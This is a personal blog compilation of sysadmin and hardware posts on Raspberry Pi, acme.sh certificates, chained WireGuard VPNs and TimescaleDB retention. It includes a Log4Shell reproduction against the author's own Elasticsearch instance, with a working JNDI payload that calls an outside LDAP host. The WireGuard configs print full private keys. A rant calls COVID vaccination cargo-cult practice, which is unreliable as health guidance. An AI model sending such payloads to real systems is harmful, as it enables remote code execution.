One of the things that kept me relevant enough to retain gainful employment well into my old age, lack of “hustle” for the “paper chase” and all around disillusionment with life and technology, stems from work I’ve done with small electronics for the purpose of capturing metrics about our reality (“IoT”).

All around us, every moment, we miss out on potential to know the truth now and in the future. We have so much richness all around us that we think this is fine and normal, to capture even a fraction of it is hard to imagine. Our vision for example, can only capture a small fovea at some frequency that we reproduce in video in terms of frames per second… capture all of it and you don’t get an emergent pattern, you get the product of a fully exposed aperture: pure washout due to overabundance of information causing clipping in the sensors.

Nevertheless, where it makes sense, we have the means to capture data and the ability to capture that which is otherwise left to oblivion (even photography falls under this, following my previous example, and it could be part of what makes instagram so appealing as compared to twitter, the trash heap of the internet) is like magic.

NASA’s New Horizons might just be my favorite IoT device in the universe.

Enjoying the aesthetic and beauty of a photograph on your phone, or the immersion of a 6-DoF VR experience in a photogrammetrically captured environment, are great examples of creating future value through the capture of that which is otherwise ephemeral. There is beauty in automated feedback-loop control systems, or the manual work of a designer making important decisions based on observed patterns of data, using tools like linear regression to be prepared.

If IoT wasn’t such a security problem, I’d probably never have quit, but I’ve written about how dwelling on security issues is paralyzing in a bad way. Especially for me, because I see connected sensors as an important substrate (or overlay) to my other real-world projects. Not all sensors exist or are affordable, of course, and so we make up for it with failure, collecting those experiences in our brains. Since IoT is inherently less secure than no IoT, when being ultra-conservative I tend to throw the baby out with the bathwater. A better idea is to raise the baby well, with good security posture in mind, and use the bathwater in the garden.

My gainful employment over the past couple years (I think I started this full-time job around September 2021) relit the spark and has kept me sharpening the tools without really realizing it so consciously. Particularly, TimescaleDB, Grafana, and Telegraf, have become as obvious as the hammer, nail, and screwdriver. The pressures (amount of data, as well as the hammering of users of the grafana dashboards) have caused me to figure out all the details of Timescale that a small operation might not need to know about: creating the right indices, setting proper retention policies, managing jobs to move to alternative hard drives by means of postgres’ tablespaces.

I’m grateful about it because if there’s any skill worth having (and that stays useful in industry), it’s knowing how to gather metrics and I don’t care if it’s about some software system, hardware system, done with a computer, or done with your eyes, pen, paper and brain.

An old 2011 Raspberry Pi I thought was damaged turned out to be just fine. The 5v adapter went bad somehow. Funny thing is I had two Pis deployed on this circuit, and both of their adapters went bad, whereas the Pis themselves are now verified working fine. The greater mystery about the adapters and power provision remain, but I learned a few facts about the Pi as I ended up reflashing the SD cards during verification:

1. The default OS provided by the official Raspberry Pi Imager software still works on units this old. I still went for the “legacy” Buster lite (no desktop) image, but I first tested the Bullseye desktop version and it worked fine, albeit very slow on the 2011 model. Even the configuration settings in the Imager program, where you can set hostname, wifi, public key, etc, worked perfectly.

2. NodeJS does not build official armv6 binaries after version 11. If you need NodeJS on a Pi this old, use this technique:

1

curl https://nodejs.org/dist/latest-v11.x/node-v11.15.0-linux-armv6l.tar.gz | sudo tar xzvf - --strip-components=1 -C /usr/local

I ended up verifying several old raspberry pis I have salvaged from various use cases around the house, and even an old Pi Zero (very first version) verified true with statement #1 above. It, too, is an armv6l and so statement #2 is also true.

Finally, do not forget to use overlay-fs feature before leaving your Pi to operate for years on end! This will help prevent your SD card from wearing out. Here’s a discussion about that feature: https://forums.raspberrypi.com/viewtopic.php?t=294427

Earthly is so useful. Native linux/arm64 builds (which will be the default when running Docker Desktop on an Apple M1 chip) can be shipped directly to and run fine on a Comma 3!

Unrelated to Earthly, I hope this PR gets merged where I push docker a bit further to make AGNOS (the ubuntu-based OS that powers the Comma 3) buildable on an M1 machine.

A friend informed me that this chip screams, I didn’t believe them at first, but after building a few things with it (agnos, openconnect, and others) I ended up asking the internet why this chip is so fast!

AGNOS usually takes a day to build with an emulated arm environment from a Ryzen 7 chip. On my M1 Air it took about 20 minutes. I think it spent more time sparsifying the final disk image than actually compiling…

Ranty Prelude

I need to see “your truth” with my own eyes before I cargo-cult your imposed commandments to perform some upgrades. If I’m vulnerable, prove it, else how will I know I solved the problem? Just keep taking your word for it, yeah?

This experience had synchrony with the disputations relating to COVID-19, specifically how we cargo-cult the vaccinations without proof of vulnerability nor proof of patching of said vulnerability. I don’t talk about politics on this site but damn this was such funny parallel it’s impossible not to point it out.

Some of us just need evidence… we need to exploit or at least see proof of exploitability, before drastic action is warranted, for the drastic action could cause undesired side effects to a system that is otherwise working fine. This is scientific. Anything else is unscientific. I am so tired of appeal to authority or majority “consensus” being considered anything but fallacious. Sadly not everyone takes Logic.

When I’m lost I turn to IRC. Here’s my nice experience sharing (extending the brainstorming beyond my team) this with #elasticsearch on libera.chat IRC

Fishing Line to Finish Line

keyvan:
good afternoon. im looking for help reproducing the log4shell hack on my ES 5 instance. i have enabled slowlogger and can see my jdni-infected query in the logs, but it does not seem to call out to the external server. i have verified the external setup (im using log4shell.huntress.com) with a small example project containing only various log4j versions and it does work; but it seems elasticsearch isn’t affected? but it should be? thanks

wwalker:
keyvan: does ES 5 run a new enough log4j to be affected? ES5 seems like it probably ran log4j rather than log4j-2

keyvan:
wwalker: i think it uses log4j 2.9, i know 5.6.10 there’s a PR that bumps it to 2.11. there is a table here that shows 5 is supposed to be vulnerable https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 but what is interesting is that it appears if on Java 9 (on ES6) you’re not vulnerable? so i am wondering if i am not able to repro because im on Java9 on ES5…

keyvan:
i will be downgrading to Java 8 to verify this (the “more vulnerable java”) according to that table…

keyvan:
haHA!!!!!!!! yep, my ES5 with java 8 was vulnerable… but with Java 9 was NOT..

Appendix

Eating the Fish

Here we have our basic Log4J tester project in which the log4j dependency can be changed easily in the build.gradle file: https://github.com/kfatehi/log4shell-test-log4j-intellij-idea-project

Then, for the elasticsearch side of things, we’ve got here a java8 container which is vulnerable to the JNDI attack: https://github.com/kfatehi/docker-elasticsearch5-java8

Finally, we can swap Java 8 for Java 9 (link in the Dockerfile) and witness that the attack does not work.

Forcing All Queries to Get Logged

1
2
3
4
5
6
7
8
9
10

curl -XPUT 'http://localhost:9200/_all/_settings?preserve_existing=true' -d '{
  "index.search.slowlog.threshold.fetch.debug" : "0ms",
  "index.search.slowlog.threshold.fetch.info" : "0ms",
  "index.search.slowlog.threshold.fetch.trace" : "0ms",
  "index.search.slowlog.threshold.fetch.warn" : "0s",
  "index.search.slowlog.threshold.query.debug" : "0s",
  "index.search.slowlog.threshold.query.info" : "0s",
  "index.search.slowlog.threshold.query.trace" : "0ms",
  "index.search.slowlog.threshold.query.warn" : "0s"
}'

Making the Query

1
2
3
4
5
6
7
8
9
10
11
12

curl -XPUT 'http://localhost:9200/my-index' -d '{
{
    "query": {
        "bool" : {
            "must" : {
                "query_string" : {
                    "query" : "${jndi:ldap://log4shell.huntress.com:1389/uuid...}"
                }
            }
        }
    }
}

In my previous post I tried to embed a short demo video, which reminded me of how strict Apple Safari on iOS is.

Apple has documented these details here, but it boils down to adherence to strict encoding and serving requirements.

Video must be encoded to Apple’s liking

I am encoding like this now for iPhone embedding. The filter-complex is because it also appears to me that resolution must be standard, so when I crop out a strange resolution (ironically, I do this directly on an iPhone…) I seem to have to fill it back in, so that’s what this filter does, using a blur effect:

1
2
3
4
5

#!/bin/bash
# Usage: this_script.sh input_file output_file
ffmpeg -an -i $1 -c:v libx264 -profile:v baseline -level 3.0 -c:a aac -movflags +faststart \
-filter_complex "[0:v]scale=ih*16/9:-1,boxblur=luma_radius=min(h\\,w)/20:luma_power=1:chroma_radius=min(cw\\,ch)/20:chroma_power=1[bg];[bg][0:v]overlay=(W-w)/2:(H-h)/2,crop=h=iw*9/16" \
 $2

Server must support the Range header

I ended up creating this issue for Hexo https://github.com/hexojs/hexo/issues/4829 to support range headers.

It was easy to figure out what’s going on by using wireshark to see the embedded server was disregarding Apple’s strict expectation of adherence to Range headers.

Here we see Hexo’s development server disregarding the range headers:

When using the http-server module we can see the range header is respected:

On the weekend of November 12-14 2021 I attended comma hack which was a “hackathon” (“build something in a very short period of time by means of overexertion”-marathon).

The project I wished to PoC was to see how we could use the driver monitoring model (which is used to detect the distraction level of the driver) to guide a reprojection of one of the back-facing cameras so as to achieve the illusion of transparency.

There is a nice paper with three prototypes here: https://dan.andersen.name/publication/2016-09-19-ismar

These implementations rely on depth information, but on the comma 3 platform we do not necessarily have depth data out of the box. I say it this way because there are numerous techniques to acquire depth, see comma/depth10k.

Working directly on the C3 is possible and easy to do. I will document the workflow. These days even the hardcore tmux/vim users like me are tempted into the Remote-SSH extension in VSCode, so first we’ll fix that.

The /data/media directory in the C3 is where you have persistent read-write to the large NVMe drive. I create a developer folder in there.

When I boot the C3, before I do any work, I run the following script:

1
2
3
4
5

#!/bin/bash
ln -sf /data/media/developer/vscode-server /home/comma/.vscode-server
git config --global user.email "keyvanfatehi@gmail.com"
git config --global user.name "Keyvan Fatehi"
cat  /data/media/developer/transform.json  > /dev/shm/transform.json

The transform bit is application-specific to how I was learning about the matrix transformation. Say I want to work on that again, this is its content:

1
2
3
4
5
6
7
8

{
  "transform": [
    1.0, 0.0, 0.0, 0.0,
    0.0, 1.0, 0.0, 0.0,
    0.0, 0.0, 1.0, 0.0,
    0.0, 0.0, 0.0, 1.0
  ]
}

This matrix is applied to the shader and was an opportunity to manipulate the surface to which the camera was projected… I learned that these were the meanings of the fields by way of editing the transform while my program was running:

1
2
3
4
5
6
7
8
9

the transform:


[
stretchX(in,1,out),warp(top-left,0,top-right),0,translateY(left,0,right)
rotate(left-up,0,left-down),stretchY(in,1,out),0,translateX(down,0,up)
0,0,0,0
tiltX(left-out,0,right-out),tiltY(top-in,0,top-out),?,zoom(in,1,out)
]

Anyway, on the C3, when it boots, everything runs in tmux. We want to stop the UI. We also want to stop updaterd because it can randomly reset our working tree.

Now is a good time to replace openpilot with a branch containing the code for this particular experiment.

1

cd /data && rm -rf openpilot && git clone --recursive --branch seethru https://github.com/kfatehi/openpilot

You can tmux attach and Ctrl-C to kill it. Who runs tmux on boot? Systemd does, there is a service called comma that launches tmux with the launch script inside the first shell.

All services will be stopped, and now we can leverage openpilot’s interprocess communications ourselves, with purpose. Let’s block two services, and manually start the camera and driver monitoring service. Do this in different tmux windows.

BLOCK="ui,updated" ./launch_openpilot.sh

cd /data/openpilot/selfdrive/camerad && ./camerad

cd /data/openpilot/selfdrive/modeld && ./dmonitoringmodeld

Finally, our iterative command to compile and run our binary:

cd /data/openpilot/selfdrive/ui && scons -u -j4 && ./seethru

The file to hack on is openpilot/selfdrive/ui/qt/widgets/seethrucameraview.cc or view it on GitHub here

The comments I have written in seethrucameraview.cc describe the odds of pulling this off properly are low, but that is ameliorated, as far as the use case of driving in a car, by the fixed positions of the driver’s head and the c3’s mounted location. So it’s possible and probably worth continuing in order to achieve transparency through the C3’s display when driving with it.

There are many other ACME clients out there, here’s a list https://letsencrypt.org/docs/client-options/#acme-v2-compatible-clients but I like
acme.sh because it saved me one day when I was desperately searching for a tool I could use without having to fumble with
package managers, so we will explore some more of its capabilities now.

I did all of this as root on a Vultr VM. Install acme.sh per https://github.com/acmesh-official/acme.sh/wiki/How-to-install

Let’s experiment with the DNS API feature of acme.sh per the documentation here https://github.com/acmesh-official/acme.sh/wiki/dnsapi

To take advantage of this, we must start using Cloudflare for DNS. We want to use this for a few reasons:

1. No need to listen on a port on a server to generate valid certs. In fact you don’t need any records in your zone at all to do this!
2. We want to generate wildcard certificates. Only the DNS API appears to support this feature, so we need a compatible DNS provider with an API supported by acme.sh, hence Cloudflare.

If your domain belongs to some other registrar, you can switch your nameservers over to Cloudflare.

This is important as Cloudflare’s DNS API is well-supported by acme.sh as this article will demonstrate.

Generate an API token at Cloudflare here https://dash.cloudflare.com/profile/api-tokens

This is one of three inputs required by acme.sh; in these next few steps we wish to establish these environment variables. Once you issue the cert, they will be stored in acme.sh‘s configuration for future use.

1
2
3

export CF_Token="" # API token you generated on the site. It should have Zone.DNS edit permission for at least one Zone being the domain you're generating certs for
export CF_Account_ID="" # We will get this in the next step
export CF_Zone_ID="" # We will get this in the next step

Once you have set your API token the following will help you get the remaining two. You may want to apt install -y jq if you’re pasting these commands so the JSON is parsed out for you.

1

curl -X GET "https://api.cloudflare.com/client/v4/zones"  -H "Authorization: Bearer $CF_Token" | jq

If you can’t read jq selectors, you will now, as I’m showing you which key paths get you the AccountID and ZoneID below:

1

zone id: ... | jq '.result[0].id'

1

account id: ... | jq '.result[0].account.id'

Export those variables too and now you can move on to issuing the cert.

1

acme.sh --issue -d keyvan.pw -d '*.keyvan.pw' --dns dns_cf

We got our cert! Install apache now too, enabling SSL while we’re at it.

1
2
3

apt install -y apache2
a2enmod ssl
a2ensite default-ssl

Decide on a location where the certs should be installed to by acme.sh and read from by apache, I’m choosing the following:

mkdir -p /etc/ssl/keyvan.pw

Make apache point to the files that will exist there very soon. I did this in the default-ssl virtual host apache creates:

1
2
3

SSLCertificateFile /etc/ssl/keyvan.pw/keyvan.pw.cer
SSLCertificateChainFile /etc/ssl/keyvan.pw/fullchain.cer
SSLCertificateKeyFile /etc/ssl/keyvan.pw/keyvan.pw.key

Now we will use acme.sh to install the certs. acme.sh is storing all this information for future runs, it’s nice like that.

1
2
3
4
5

acme.sh --install-cert -d keyvan.pw -d '*.keyvan.pw' \
--cert-file /etc/ssl/keyvan.pw/keyvan.pw.cer  \
--key-file /etc/ssl/keyvan.pw/keyvan.pw.key  \
--fullchain-file /etc/ssl/keyvan.pw/fullchain.cer \
--reloadcmd "systemctl reload apache2"

Confirm it worked by hitting the website. Did you even bother creating your A record yet? I hadn’t yet at this point. This is a nice aspect of using DNS API. It is nice not to actually need a server, yet simply show ownership of the DNS.

Pretty amazing… people used to pay a lot of money and go through a lot more hassle to get this capability. But now within minutes I have proper wildcard and naked domain encryption.

Let’s install the cron so this automatically renews.

1

0 0 * * * acme.sh --cron

Nice. We can test it with –force too, which I have done. It seems that acme will do everything per previous commands upon renewal including running your reloadcmd, e.g.:

[Sun 12 Sep 2021 02:38:25 AM UTC] Your cert is in: /root/.acme.sh/keyvan.pw/keyvan.pw.cer
[Sun 12 Sep 2021 02:38:25 AM UTC] Your cert key is in: /root/.acme.sh/keyvan.pw/keyvan.pw.key
[Sun 12 Sep 2021 02:38:25 AM UTC] The intermediate CA cert is in: /root/.acme.sh/keyvan.pw/ca.cer
[Sun 12 Sep 2021 02:38:25 AM UTC] And the full chain certs is there: /root/.acme.sh/keyvan.pw/fullchain.cer
[Sun 12 Sep 2021 02:38:26 AM UTC] Installing cert to: /etc/ssl/keyvan.pw/keyvan.pw.cer
[Sun 12 Sep 2021 02:38:26 AM UTC] Installing key to: /etc/ssl/keyvan.pw/keyvan.pw.key
[Sun 12 Sep 2021 02:38:26 AM UTC] Installing full chain to: /etc/ssl/keyvan.pw/fullchain.cer
[Sun 12 Sep 2021 02:38:26 AM UTC] Run reload cmd: systemctl reload apache2
[Sun 12 Sep 2021 02:38:26 AM UTC] Reload success
[Sun 12 Sep 2021 02:38:26 AM UTC] ===End cron===

SSL has never been so cheap, easy, and automatable…

Funny how sometimes certain things are exactly perfect. Did you know that the blue Pentel 0.7mm mechanical pencil (sometimes it’s marketed as for “engineering” now I know another reason why…) is the exact size of the inner diameter of a PCB thru-hole?

I used this technique to clean out a few thru-holes that I had soldered. Not sure how you’re supposed to remove solder from a previously-soldered thru-hole, but this worked surprisingly well given it is exactly the correct size.

I obviously mean the typical use case for VPN, that is to hide your location.

In this example we will use wireguard to setup the following:

(Different Private Locations) <-> Frankfurt VPS <-> NJ VPS <-> USA websites

Your adversaries will see you connect to Frankfurt. Why Frankfurt? Well perhaps it’s a modern 1984 and you’ve found yourself in Oceana, Eurasia, Eastasia, and the safest hop to which your adversaries might find acceptable for you to communicate some soccer video game traffic to is Germany. I’m of course kidding around, gotta have fun right?

Anyway let’s configure our first hop, which is the most interesting part of the puzzle:

Frankfurt VPS

This is the entrypoint from the private location. (Entrypoint… hmm, sounds like I’ve been influenced by Docker)

First step let’s create the wireguard server that private client will connect to.

We’ll use an innocuous port commonly used for a popular video game (some kind of soccer game that’s popular over there, I don’t remember which, and it does not matter)… and NAT all our traffic through this server.

Forgot how to generate wireguard keys? Go to the official site, it’s all there. https://www.wireguard.com/quickstart/ If you want to use PreShared keys it’s wg genpsk

/etc/wireguard/wg0.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# Privacy centric for world travel...
# https://stanislas.blog/2019/01/how-to-setup-vpn-server-wireguard-nat-ipv6/
# seems the nat was wrong, took a tip from this one:
# https://www.cyberciti.biz/faq/how-to-set-up-wireguard-firewall-rules-in-linux/

[Interface]
Address = 192.168.72.1/24,fd42:42:42::1/64
ListenPort = 3074
PrivateKey = EJ0CD4P3zWVt+g1A4ChREKUDyIAyUZXgFrNuZ/74FkE=
PostUp = iptables -t nat -I POSTROUTING 1 -o wg2 -j MASQUERADE; ip6tables -t nat -A POSTROUTING -o wg2 -j MASQUERADE
PostDown = iptables -t nat -D POSTROUTING -o wg2 -j MASQUERADE; ip6tables -t nat -D POSTROUTING -o wg2 -j MASQUERADE

# CM
[Peer]
PublicKey = wfe8LVgrAZTWNzvbkdL2W0niC11js5W6cbbd1lkVu2I=
PresharedKey = oZKkM8BhuAwn5fE19lMSW4g5xHhPIuE1DvpcOD01mhE=
AllowedIPs = 192.168.72.2/32, fd42:42:42::2/128

# MBP
[Peer]
PublicKey = AHBG1wxNFEnati+CyZNiX1n77o+2bXjEGltt+qP+4yQ=
PresharedKey = njYfVgSUfbKuh24gqUjVxNBaEOpaUvslc2w5iUzDuYU=
AllowedIPs = 192.168.72.3/32, fd42:42:42::3/128

But we don’t want to stop there…
We want traffic to flow on to a US-based server that we can also control.
This traffic will be private, within the wireguard network, so your adversaries will just see your game server playing another video game…
Create a wireguard config that will connect to our New Jersey VPS:

/etc/wireguard/wg2.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# Connect us up to the NJ Vultr to NAT Frankfurt's traffic


[Interface]
PrivateKey = 4CAO8fbl44iJLUmDzL2/CIyylrc9a4GFb/OWgvJ3M1g=
Address = 192.168.73.2/32
# We create static routes for NJ endpoint so wireguard can
# directly connect to it from frankfurt.
PreUp = ip route add 149.28.238.111/32 via 136.244.90.1 dev enp1s0
PostDown = ip route del 149.28.238.111/32 via 136.244.90.1 dev enp1s0

[Peer]
PublicKey = PVWMKvd5YL62Mmcndhpo2d1pibFl9l4jzujphDguClw=
#AllowedIPs = 192.168.73.0/24
AllowedIPs = 0.0.0.0/0
Endpoint = 149.28.238.111:28001
PresharedKey = BGdHfH7rus9CL+xaeg7ucws8fAw1R8jZegqRMi9g/mI=
PersistentKeepalive = 25

We will have routing table issues, so let’s handle that with some ruby…

As I wrote in the comment at the time…

This watches for wg0 connections and automatically add/removes routes
so that i can be mobile yet still appear from NJ regardless of where I
connect to the frankfurt rig from

/usr/local/bin/wg-route

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

#!/usr/bin/ruby
# basically reason for the script is that the peer might connect from different ips
# and we need to make sure this ip is exempted from being routed through NJ
# because it's trying to connect by way of this server, so this server needs
# to make sure to route its packets back directly to the peer rather than to
# pass it through to the NJ. ok make sense? lets do it
# the caveat here is we need to delete the routes so the way we will do this
# is detect superfluous routes:
def the_business
  deleting = `ip route | grep 'via 136.244.90.1 dev enp1s0'`.split("\n").reject{|a|
    a.include? "default" or a.include? "149.28.238.111" or a.include? "dhcp"
  }.map(&:strip)
  # k now get the ones we wanna add...
  adding = []
  `wg show wg0 endpoints`.split("\n").each do |line|
    a = line.match(/\s(.+):/);
    adding << "#{a[1]} via 136.244.90.1 dev enp1s0" if a and a[1]
  end

  operations = [];

  deleting.each do |aa|
    if adding.include? aa
      # no op
      # operations << "ip route add #{aa}"
    else
      operations << "ip route del #{aa}"
    end
  end

  adding.each do |aa|
    if deleting.include? aa
      # no op
      # operations << "ip route add #{aa}"
    else
      operations << "ip route add #{aa}"
    end
  end

  operations.each do |op|
    puts op
    `#{op}`
  end
end

while true
  the_business
  sleep 1
end

In the above script, the hardcoded IP and device name would need to change. These are just the IP address given by the platform company (Vultr in this case), and the network interface name.

Moving on to the systemd service unit…

/etc/systemd/system/wg-route.service

1
2
3
4
5
6
7
8
9

[[Unit]
Description=automatic route modifier for wireguard connections
After=network.target

[Service]
ExecStart=/usr/local/bin/wg-route

[Install]
WantedBy=multi-user.target

Frankfurt is done, start up the services and move on to the New Jersey VPS…

1
2

systemctl start wg-quick@wg0.service
systemctl start wg-quick@wg2.service

Where’s wg1? I had used that to connect back to a Dallas VPS which connects a few other things like home, office, etc.

It’s really great to learn how basic routing works, and with wireguard it seems anything is possible with relative ease, as this exercise seems to reveal.

Anyway, NJ:

NJ VPS

Picking another gaming port just to throw them off some more. Frankly I can’t tell the difference anymore.

/etc/wireguard/wg0.conf

1
2
3
4
5
6
7
8
9
10
11
12

[Interface]
Address = 192.168.73.1/24,fd43:43:43::1/64
ListenPort = 28001
PrivateKey = qJ27Yexad0SpxqTE9PJYztbnFUHvRPBOXlJW39/EyEc=
PostUp = iptables -t nat -I POSTROUTING 1 -o enp1s0 -j MASQUERADE; ip6tables -t nat -A POSTROUTING -o enp1s0 -j MASQUERADE
PostDown = iptables -t nat -D POSTROUTING -o enp1s0 -j MASQUERADE; ip6tables -t nat -D POSTROUTING -o enp1s0 -j MASQUERADE

# Frankfurt
[Peer]
PublicKey = WbFx788jJCveovWh9FXtvr2P3+ejfSHq+yGer0eL+kA=
PresharedKey = BGdHfH7rus9CL+xaeg7ucws8fAw1R8jZegqRMi9g/mI=
AllowedIPs = 192.168.73.2/32, fd43:43:43::2/128

We’re all set!

Wait, what about the clients?

Well you saw # MBP and # CM, those are my macbook and my windows computers. The clients are simple… Here’s MBP:

1
2
3
4
5
6
7
8
9
10
11

[Interface]
PrivateKey = 0DiWQ7lzb+CebbCzEjMHPEc61sa9QxkVPXwlOgoqq1k=
Address = 192.168.72.3/24, fd42:42:42::3/64
DNS = 192.168.72.1, fd42:42:42::1

[Peer]
PublicKey = AhYS6H9vIxDGHFTVqsZaLjh+5X6ga77CoQEE95oEcAU=
PresharedKey = njYfVgSUfbKuh24gqUjVxNBaEOpaUvslc2w5iUzDuYU=
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = 136.244.90.84:3074
PersistentKeepalive = 25

Here’s # CM

1
2
3
4
5
6
7
8
9
10
11

[Interface]
PrivateKey = yMeXMK6CzjBcuYowF4lJ6qC055bW2jrUhPQ9I8zsNl8=
Address = 192.168.72.2/24, fd42:42:42::2/64
DNS = 8.8.8.8, 8.8.4.4

[Peer]
PublicKey = AhYS6H9vIxDGHFTVqsZaLjh+5X6ga77CoQEE95oEcAU=
PresharedKey = oZKkM8BhuAwn5fE19lMSW4g5xHhPIuE1DvpcOD01mhE=
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = 136.244.90.84:3074
PersistentKeepalive = 25

Everything here has since been deleted, so don’t judge me for not scrubbing keys, IPs, etc, again this was just an exercise and is here for reference to those that actually might need it and don’t have time to hack and slash/search their way to a working setup!

Perhaps in the future I’ll expand on this to have another port to effectively replace NJ with a home computer since certain websites will flag “normal web traffic” coming from a VPS/datacenter but not residential ISPs.

Something like this: Private Location <-> Frankfurt VPS <-> USA Home Computer <-> USA websites

I hope this showcases how powerful wireguard can be and provides some examples for those searching and dealing with this problem-set looking for reference.

Luckily I do not have a need for such capabilities, but it is good to know it can be done so easily and how. Reinforces my faith in humanity in some ways, and given world events over the last few years man do I appreciate the reinforcement.

Since learning mikrotik last year, and wireguard this year, I’ve found myself using this routing knowledge and especially wireguard daily for both home (mobile access to home network resources) and work (work from home problem-sets, connecting servers together to expose a private service to some employees, etc), this exercise is just another example of an important use case which wireguard solves perfectly. What an incredible piece of software.

Are you looking for the official how-to guide from timescaledb about retention policies? Here is a link

Firstly I want to know which tables I have are actually hypertables. You can list hypertables (check that link as they talk about it having changed) by doing:

1

select * from _timescaledb_catalog.hypertable;

1
2
3
4
5
6

metrics=> select table_name from _timescaledb_catalog.hypertable;
   table_name   
----------------
 rails_requests 
 websockets     
(2 rows)

But I have a lot of other tables that are created by telegraf (specifically, phemmer’s fork which adds postgres output support). Why aren’t they hypertables?

This is important because you can’t do retention policies on regular tables with timescaledb. You also lose out on other important timescaledb features which in my case of concern about disk space may be important, i.e. compression.

Turns out that the telegraf plugin is not automatically creating a hypertable, so that’s a todo on my telegraf fork.

Regardless, we want to solve for disk space to avoid a 3 AM pagerduty alert. We want a retention policy of 12 months for the rails requests and 2 weeks for everything else.

Let’s apply these now:

Here’re the docs on creating a retention policy:

1
2

SELECT add_retention_policy('rails_requests', INTERVAL '12 months');
SELECT add_retention_policy('websockets', INTERVAL '2 weeks');

Let’s apply these two policies now:

1
2
3
4
5
6
7
8
9
10
11
12

metrics=> SELECT add_retention_policy('rails_requests', INTERVAL '12 months');
 add_retention_policy
----------------------
                 1000
(1 row)

metrics=> SELECT add_retention_policy('websockets', INTERVAL '2 weeks');
 add_retention_policy
----------------------
                 1001
(1 row)

We can confirm it with

1

SELECT * FROM timescaledb_information.job_stats;

1
2
3
4
5
6
7

metrics=> SELECT * FROM timescaledb_information.job_stats;
 hypertable_schema | hypertable_name | job_id |      last_run_started_at      |    last_successful_finish     | last_run_status | job_status | last_run_duration |          next_start           | total_runs | total_successes | total_failures
-------------------+-----------------+--------+-------------------------------+-------------------------------+-----------------+------------+-------------------+-------------------------------+------------+-----------------+----------------
 public            | rails_requests  |   1000 | 2021-07-14 23:29:43.151347+00 | 2021-07-14 23:29:43.172576+00 | Success         | Scheduled  | 00:00:00.021229   | 2021-07-15 23:29:43.172576+00 |          1 |               1 |              0
 public            | websockets      |   1001 | 2021-07-14 23:53:44.497031+00 | 2021-07-14 23:53:44.533295+00 | Success         | Scheduled  | 00:00:00.036264   | 2021-07-15 23:53:44.533295+00 |          1 |               1 |              0
                   |                 |      1 | 2021-07-14 08:37:19.855855+00 | 2021-07-14 08:37:20.386981+00 | Success         | Scheduled  | 00:00:00.531126   | 2021-07-15 08:37:20.386981+00 |         70 |              69 |              1
(3 rows)

Looks good. But we need to free disk space NOW and we have many tables that are not hypertables…

What we can do is create hypertables through migration which will lockup tables for an unknown amount of time, or we can drop the table and rebuild it.

I am going to opt for scripting for the latter option because it’s not a big deal to get a fresh start on these other tables. List them with \d+:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

cpu
disk
diskio
elasticsearch_breakers
elasticsearch_fs
elasticsearch_http
elasticsearch_indices
elasticsearch_indices_stats_primaries
elasticsearch_indices_stats_shards
elasticsearch_indices_stats_shards_total
elasticsearch_indices_stats_total
elasticsearch_jvm
elasticsearch_os
elasticsearch_process
elasticsearch_thread_pool
elasticsearch_transport
ipvs_real_server
ipvs_virtual_server
mem
net
passenger
passenger_group
passenger_process
passenger_supergroup
postgresql
processes
procstat
procstat_lookup
rails_requests
swap
system
websockets

Eliminating the two tables that we already dealt with, the plan is to take these tables, and for each one, truncate the table, create the hypertable, and then set a 2 week retention policy… Let’s do it manually with the biggest (and least interesting) table we have, the cpu table:

1
2
3

TRUNCATE TABLE cpu;
SELECT create_hypertable('cpu', 'time');
SELECT add_retention_policy('cpu', INTERVAL '2 weeks');

Wow indeed we saved 20GB… and thanks to the retention policy we will no longer run out of space.